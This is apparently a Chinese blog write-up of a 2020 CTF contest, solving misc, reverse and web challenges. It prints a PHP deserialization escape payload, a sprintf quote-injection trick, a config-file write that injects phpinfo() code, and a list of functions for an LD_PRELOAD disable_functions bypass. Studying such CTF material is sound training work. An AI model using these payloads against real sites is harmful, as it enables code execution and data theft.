CTF Web安全

安恒四月月赛 WP

Posted on 2020-04-25,5 min read

题目名都忘了。。。。

MISC

6G的题

flag就在下载的文件里面
curl http://server.zhaoj.in:8888/1GTest.file --output -|grep -a flag{
curl -i http://das.wetolink.com:8941/6GTest.file -H 'Range: bytes=6291450000-6291456050' --output -

Blueshark


右键复制值。然后得到一个7z。爆破得到密码141854
解压得到Flag
正解:
7Z中有个password_is_Bluetooth_PIN文件
搜索Pin。得到密码

Keyboard

内存取证filescan得到keyboard-log\t.txt

有种密码叫QWE(键盘密码)
解密下

然后。将那个secret拖入veracrypt。用KEYBOARDDRAOBYEK这个密钥解密
对解密出来的文件。Ctrl+F

AWDshell

查看HTTP请求。发现一句话木马

得到源码

分析下数据包。倒数第二个数据包是查看Flag的

本地搭webshell。然后将这个base64请求。发过去。看看明文

定位加密函数

搞懂加密流程,现在就缺一个key

可以看见。他的key是根据sessionid来的。我们本地搭个环境。sessionID。数据包中有

$key=@substr(str_pad(session_id(),16,'a'),0,16);

得到key

Reverse

ida打开。

将我们的输入^6然后加1
与akhb~chdaZrdaZudqduvdZvvv|比较
反向推一下就得到Flag

Web

Web1

给出了源码

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

本地开干

这里输入三个\0\0\0。会被替换成一个chr(0).*.chr(0)
等于6个字符串。被替换为了3个字符串
明摆着逃逸+对象注入。。
得到逃逸的反序列化字符串

然后我们需要构造如下的字符串

O:1:"A":2:{s:8:"username";s:3:"xxx";s:8:"password";payload;}
O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:74:"a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}";}

注意。这里*两旁。是有chr(0)的。不可见字符
简化下就成了

O:1:"A":2:{s:8:"username";s:3:"xxx";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}";}

Object对象。A。两个属性。第一个属性8个字符串。username。值为3个字符串xxx
password属性。值为Object对象B。然后XXXXPOP链

Web2

没环境。当时也没做。就看WP复现下
sprintf格式化注入

可以利用%1$去吃掉后面的一个字符。也就是单引号


也可以利用%1$c。配合39.构造单引号


然后进入下一关。配置写漏洞

<?php
error_reporting(0);
session_save_path('session');
session_start();
require_once './init.php';
if($_SESSION['login']!=1){
    die("<script>window.location.href='./index.php'</script>");
}
if($_GET['shell']){
    $shell= addslashes($_GET['shell']);
    $file = file_get_contents('./shell.php');
    $file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$shell}';", $file);
    file_put_contents('./shell.php', $file);
}else{
    echo "set your shell"."<br>";
    chdir("/");
    highlight_file(dirname(__FILE__)."/admin.php");
}
?>

P神博客都有
https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html

第一次输入:;phpinfo(); 
$shell=';phpinfo();';
第二次输入:$0
在正则中。会将整个字符串。填进去
$shell = '$shell=';phpinfo();';';

最后用LD bypass disable_funcntion
这里mail,error_log都禁了
用gnupg扩展触发。
https://www.anquanke.com/post/id/197745?from=singlemessage

纪录下能触发LD的函数

mb_send_mail
exec
system
passthru
shell_exec
error_log
mail
gnupg_init
imap_mail
pcntl_exec
new gnupg()

下一篇: [De1CTF 2019]Giftbox(动态执行代码。TOTP)→